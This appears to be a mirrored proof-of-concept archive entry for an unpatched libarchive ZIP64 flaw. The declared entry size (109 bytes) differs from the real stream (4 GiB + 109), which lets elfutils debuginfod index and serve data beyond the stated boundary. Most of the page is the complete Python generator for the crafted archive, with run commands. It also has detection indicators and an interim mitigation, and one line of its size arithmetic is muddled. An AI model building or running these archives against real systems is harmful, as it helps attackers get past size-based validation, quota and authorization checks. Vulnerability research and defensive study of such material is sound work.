PoC Archive PoC Archive
Medium None assigned as of 2026-07-03 unpatched

libarchive ZIP Declared-Size Boundary Bypass via debuginfod

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Medium
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
libarchive (ZIP reader) and elfutils debuginfod
Affected versions
Stock/current libarchive ZIP64 reader; system debuginfod service
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityMedium
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagslibarchive, zip, zip64, integer-overflow, debuginfod, elfutils, size-validation, boundary-bypass
RelatedN/A

Affected Target

FieldValue
Software / Systemlibarchive (ZIP reader) and elfutils debuginfod
Versions AffectedStock/current libarchive ZIP64 reader; system debuginfod service
Language / PlatformPython 3 (archive generator/runner) and Bash, targeting Linux libarchive/debuginfod
Authentication RequiredNo
Network Access RequiredNo (local demonstration); debuginfod service runs on loopback

Summary

The PoC builds a stored ZIP64 archive entry whose declared uncompressed size field is 109 bytes while the actual inflated stream is 4 GiB + 109 bytes — crafted so the low 32 bits of the true length equal the advertised value (0x100000004 mod 2^32 == 4, offset so the declared size collides at 109). A stock libarchive ZIP reader (bsdtar, bsdunzip) accepts and fully streams the oversized payload while archive_entry_size() continues to report only 109 bytes to calling applications. The PoC then demonstrates real-world impact by pointing elfutils debuginfod at the crafted archive: the service extracts and indexes an ELF binary embedded past the declared boundary, and later serves debug sections (including a hidden marker section) whose file offsets lie beyond the size the archive metadata promised, proving that applications trusting archive_entry_size() for validation, quotas, or authorization can be bypassed. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

libarchive’s ZIP64 reader returns a fully decompressed/streamed size that can exceed the entry’s declared metadata size field without erroring, because the declared size is only advisory and not enforced as a hard streaming boundary; consumers such as debuginfod that treat archive_entry_size() as an authoritative upper bound therefore index and serve data beyond that boundary.

Attack Vector

  1. Attacker crafts a ZIP64 archive with one stored entry whose declared size field is 109 bytes but whose real inflated stream is 4,294,967,405 bytes (4 GiB + 109), engineered so the low 32 bits alias the declared value.
  2. The entry’s actual bytes begin with a genuine ELF executable containing a GNU build-id note and a hidden marker section located past byte 109.
  3. Victim tooling (bsdtar, bsdunzip, or a service built on libarchive such as debuginfod) opens the archive; stock validation (bsdunzip -t) reports success despite the size mismatch.
  4. debuginfod extracts the entry, classifies it as ELF content, and indexes its build-id, reading and caching bytes far past the declared 109-byte boundary.
  5. Attacker (or anyone) queries debuginfod’s build-id HTTP API and receives ELF sections — including data that was never accounted for by the declared archive metadata — proving the boundary was crossed and served externally.

Impact

Any application or service that relies on archive_entry_size() / ZIP metadata as a trusted boundary for validation, storage quotas, authorization checks, or IPC framing can be made to process, index, or serve substantially more data than the declared size implies — demonstrated concretely against elfutils debuginfod, which indexes and serves hidden ELF sections beyond the advertised size.


Environment / Lab Setup

Target:   Linux host with libarchive (bsdtar/bsdunzip), elfutils debuginfod, gcc, binutils, curl
Attacker: Python 3, gcc, bash

Proof of Concept

PoC Script

See make_debuginfod_zip.py, run_stock_marker.py, and run_demo.sh in this folder.

1
2
python3 run_stock_marker.py --work-dir /tmp/libarchive-stock-marker
bash run_demo.sh --work-dir /tmp/libarchive-zip-debuginfod-poc --port 18002

make_debuginfod_zip.py generates the crafted ZIP64 archive with the mismatched declared/actual size; run_stock_marker.py proves the stock bsdunzip -p CLI streams past the declared boundary; run_demo.sh builds the embedded ELF, starts a local debuginfod instance, indexes the crafted archive, and fetches ELF sections by build-id to prove the service served data beyond the advertised 109-byte size.


Detection & Indicators of Compromise

Signs of compromise:

  • Applications logging a large discrepancy between declared ZIP entry size and bytes actually read/written during extraction
  • debuginfod (or similar libarchive-based indexing services) processing archives with implausible declared-vs-actual size ratios
  • Unexpected disk/memory consumption when handling small-looking ZIP archives from untrusted sources

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationValidate the actual number of bytes streamed from a libarchive ZIP entry against the declared size and reject/truncate on mismatch; avoid trusting archive_entry_size() alone for quota or authorization decisions in services like debuginfod

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: libarchive-zip-debuginfod-size-boundary) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

make_debuginfod_zip.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
import argparse
import os
import pathlib
import struct
import subprocess
import zlib


def pack_local(name, crc, compressed_size, declared_size):
    return struct.pack(
        "<IHHHHHIIIHH",
        0x04034B50,
        20,
        0,
        8,
        0,
        0,
        crc,
        compressed_size,
        declared_size,
        len(name),
        0,
    ) + name


def pack_central(name, crc, compressed_size, declared_size):
    return struct.pack(
        "<IHHHHHHIIIHHHHHII",
        0x02014B50,
        20,
        20,
        0,
        8,
        0,
        0,
        crc,
        compressed_size,
        declared_size,
        len(name),
        0,
        0,
        0,
        0,
        0,
        0,
    ) + name


def pack_eocd(central_size, central_offset):
    return struct.pack(
        "<IHHHHIIH",
        0x06054B50,
        0,
        0,
        1,
        1,
        central_size,
        central_offset,
        0,
    )


def pack_zip64_eocd(central_size, central_offset, zip64_eocd_offset):
    return (
        struct.pack(
            "<IQHHIIQQQQ",
            0x06064B50,
            44,
            45,
            45,
            0,
            0,
            1,
            1,
            central_size,
            central_offset,
        )
        + struct.pack("<IIQI", 0x07064B50, 0, zip64_eocd_offset, 1)
        + struct.pack(
            "<IHHHHIIH",
            0x06054B50,
            0,
            0,
            0xFFFF,
            0xFFFF,
            0xFFFFFFFF,
            0xFFFFFFFF,
            0,
        )
    )


def crc32_zero_padded(prefix, actual_size):
    crc = zlib.crc32(prefix) & 0xFFFFFFFF
    remaining = actual_size - len(prefix)
    chunk = b"\x00" * 16777216
    while remaining:
        n = min(remaining, len(chunk))
        crc = zlib.crc32(chunk[:n], crc) & 0xFFFFFFFF
        remaining -= n
    return crc


def make_sparse(path):
    if os.name == "nt":
        subprocess.run(
            ["fsutil", "sparse", "setflag", str(path)],
            check=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )


def pack_stored_local(name, crc, actual_size, declared_size):
    extra = struct.pack("<HHQ", 0x0001, 8, actual_size)
    return (
        struct.pack(
            "<IHHHHHIIIHH",
            0x04034B50,
            45,
            0,
            0,
            0,
            0,
            crc,
            0xFFFFFFFF,
            declared_size,
            len(name),
            len(extra),
        )
        + name
        + extra
    )


def pack_stored_central(name, crc, actual_size, declared_size):
    extra = struct.pack("<HHQ", 0x0001, 8, actual_size)
    return (
        struct.pack(
            "<IHHHHHHIIIHHHHHII",
            0x02014B50,
            45,
            45,
            0,
            0,
            0,
            0,
            crc,
            0xFFFFFFFF,
            declared_size,
            len(name),
            len(extra),
            0,
            0,
            0,
            0,
            0,
        )
        + name
        + extra
    )


def write_stored_sparse_zip(elf_path, out_path, entry_name, declared_size, actual_size):
    out = pathlib.Path(out_path)
    elf = pathlib.Path(elf_path).read_bytes()
    if len(elf) >= actual_size:
        raise SystemExit("input ELF is larger than the target inflated body")
    name = entry_name.encode("utf-8")
    crc = crc32_zero_padded(elf, actual_size)
    local = pack_stored_local(name, crc, actual_size, declared_size)
    central = pack_stored_central(name, crc, actual_size, declared_size)
    central_offset = len(local) + actual_size
    zip64_eocd_offset = central_offset + len(central)
    trailer = pack_zip64_eocd(len(central), central_offset, zip64_eocd_offset)
    out.parent.mkdir(parents=True, exist_ok=True)
    if out.exists():
        out.unlink()
    with out.open("wb") as f:
        f.write(local)
        f.write(elf)
    make_sparse(out)
    with out.open("r+b") as f:
        f.seek(len(local) + actual_size)
        f.write(central)
        f.write(trailer)
    print(f"archive={out}")
    print(f"entry={entry_name}")
    print("method=stored-sparse")
    print(f"declared_size={declared_size}")
    print(f"actual_inflated_size={actual_size}")
    print(f"actual_low32={actual_size & 0xFFFFFFFF}")
    print(f"stored_size={actual_size}")
    print(f"elf_size={len(elf)}")
    print(f"crc32=0x{crc:08x}")
    print(f"logical_size={out.stat().st_size}")


def write_deflated_body(elf_path, deflated_path, actual_size, level):
    elf = pathlib.Path(elf_path).read_bytes()
    if len(elf) >= actual_size:
        raise SystemExit("input ELF is larger than the target inflated body")
    compressor = zlib.compressobj(level, zlib.DEFLATED, -15)
    crc = zlib.crc32(elf) & 0xFFFFFFFF
    written = 0
    chunk = b"\x00" * 1048576
    remaining = actual_size - len(elf)
    with pathlib.Path(deflated_path).open("wb") as f:
        data = compressor.compress(elf)
        f.write(data)
        written += len(data)
        while remaining:
            n = min(remaining, len(chunk))
            view = chunk[:n]
            crc = zlib.crc32(view, crc) & 0xFFFFFFFF
            data = compressor.compress(view)
            if data:
                f.write(data)
                written += len(data)
            remaining -= n
        data = compressor.flush()
        f.write(data)
        written += len(data)
    return crc, written, len(elf)


def write_deflated_zip(elf_path, out_path, entry_name, declared_size, actual_size, level):
    out = pathlib.Path(out_path)
    temp = out.with_suffix(out.suffix + ".deflated")
    crc, compressed_size, elf_size = write_deflated_body(
        elf_path,
        temp,
        actual_size,
        level,
    )
    if compressed_size > 0xFFFFFFFF:
        raise SystemExit("compressed body is too large for this PoC layout")
    name = entry_name.encode("utf-8")
    local = pack_local(name, crc, compressed_size, declared_size)
    central = pack_central(name, crc, compressed_size, declared_size)
    central_offset = len(local) + compressed_size
    eocd = pack_eocd(len(central), central_offset)
    out.parent.mkdir(parents=True, exist_ok=True)
    with out.open("wb") as f:
        f.write(local)
        with temp.open("rb") as body:
            while True:
                data = body.read(1048576)
                if data == b"":
                    break
                f.write(data)
        f.write(central)
        f.write(eocd)
    temp.unlink()
    print(f"archive={out}")
    print(f"entry={entry_name}")
    print("method=deflate")
    print(f"declared_size={declared_size}")
    print(f"actual_inflated_size={actual_size}")
    print(f"actual_low32={actual_size & 0xFFFFFFFF}")
    print(f"compressed_size={compressed_size}")
    print(f"elf_size={elf_size}")
    print(f"crc32=0x{crc:08x}")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--elf", required=True)
    parser.add_argument("--out", required=True)
    parser.add_argument("--entry", default="poc-hidden-debug-file")
    parser.add_argument("--method", choices=("stored-sparse", "deflate"), default="stored-sparse")
    parser.add_argument("--declared-size", type=int, default=109)
    parser.add_argument("--actual-size", type=int, default=(1 << 32) + 109)
    parser.add_argument("--level", type=int, default=9)
    args = parser.parse_args()
    if args.method == "stored-sparse":
        write_stored_sparse_zip(
            args.elf,
            args.out,
            args.entry,
            args.declared_size,
            args.actual_size,
        )
    else:
        write_deflated_zip(
            args.elf,
            args.out,
            args.entry,
            args.declared_size,
            args.actual_size,
            args.level,
        )


if __name__ == "__main__":
    main()